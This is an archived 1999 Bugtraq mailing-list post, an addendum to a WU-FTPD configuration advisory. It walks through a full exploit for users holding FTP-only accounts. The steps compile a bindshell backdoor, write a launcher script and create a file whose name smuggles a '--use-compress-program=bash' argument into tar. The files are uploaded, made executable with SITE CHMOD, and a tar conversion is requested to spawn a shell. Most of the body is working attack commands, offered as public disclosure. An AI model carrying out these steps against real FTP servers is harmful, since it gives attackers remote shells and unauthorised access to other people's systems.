More details on the WU-FTPD configuration vulnerability.

Subject: More details on the WU-FTPD configuration vulnerability.
From: suid (suidSUID.KG)
Date: Tue Dec 21 1999 - 06:10:56 CST

• Next message: Aleph One: "Microsoft Security Bulletin (MS99-061)"
• Previous message: Alain Thivillon: "serious Lotus Domino HTTP denial of service"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Good evening all,

I have noticed that in my original Bugtraq posting/paper I mentioned the
possibility of executing arbitrary code if you actually have a valid FTP
only account on a system, but did not include specific info on this.

I realise now that this information is more relevant than the anonymous
FTP exploit as it is the default configuration and many, many people give
users accounts on this kind of setup believing it to be `secure'.

Please find below an addendum to my paper (http://www.suid.kg/advisories/001.txt)

You can find this on the web with the rest of my stuff at the new location
http://www.suid.kg/ .

Merry Xmas,
suidsuid.kg

---
suidsuid.kg - an addendum to wu-ftpd configuration vulnerability exploit information
Background:
	In the initial advisory I mentioned that users with valid ftp access only accounts may also
	execute arbitrary code. I did not however include exploit information for this. This information is
	now found below.
Exploit Information:
	With a valid FTP account only the server, the difficulty goes right down. You also have the added
	benefit of not being stuck in a chroot() environment at the end
        (by default). Local exploit time.
	The exploit goes along much the same lines as the anonymous FTP exploit does:
	Create a backdoor, using bindshell from our previous example:
	$ gcc bindshell.c -o b -static
	If you can perform a SITE CHMOD (default for normal non-anon users on wu-ftpd), then you can
	use the following script example. Create a script to exec the desired commands:
	$ cat > blah
	#!/bin/bash
	./b &
	^D
	Now create empty file "--use-compress-program=bash blah"
	$ > "--use-compress-program=bash blah"
	FTP to your target, login with your username/password. Upload your 3 files:
	ftp> put b
	ftp> put blah
	ftp> put "--use-compress-program=bash blah"
	Do a SITE CHMOD for b and blah:
	
	ftp> quote SITE CHMOD 0755 b
	ftp> quote SITE CHMOD 0755 blah
	
	Now get your file:
	ftp> get "--use-compress-program=bash blah".tar
	Thats all there is to it. You now should have a shell on whatever port you specified.
	Merry Xmas!

• Next message: Aleph One: "Microsoft Security Bulletin (MS99-061)"
• Previous message: Alain Thivillon: "serious Lotus Domino HTTP denial of service"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b27 : Tue Dec 21 1999 - 15:52:58 CST